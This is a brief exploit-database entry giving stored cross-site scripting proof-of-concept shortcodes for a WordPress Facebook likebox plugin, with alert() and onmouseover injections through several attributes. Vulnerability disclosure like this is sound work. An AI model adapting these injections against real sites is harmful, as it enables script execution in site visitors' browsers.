Share
## https://sploitus.com/exploit?id=WPEX-ID:CE4AC9C4-D293-4464-B6A0-82DDF8D4860B
Attributes fb_appid and locale (fixed in 6.5.4):
[efb_likebox fb_appid='1234"; alert(/fb_appid/); asd ="' locale='1234"; alert(/locale/); asd ="']
Attribute animate_effect:
[efb_likebox animate_effect='1234" onmouseover="alert(/animate_effect/)" style="height: 50px; border-style: solid" "']
Attribute fanpage_url:
[efb_likebox fanpage_url='http://example.com/awesome/page/" onmouseover=alert("fanpage_url") style="height: 50px; border-style: solid" "']
Attribute box_width:
[efb_likebox box_width='1234" onmouseover="alert(/box_width/)" style="height: 50px; border-style: solid" "']
Attribute box_height:
[efb_likebox box_height='1234" onmouseover="alert(/box_height/)" style="height: 50px; border-style: solid" "']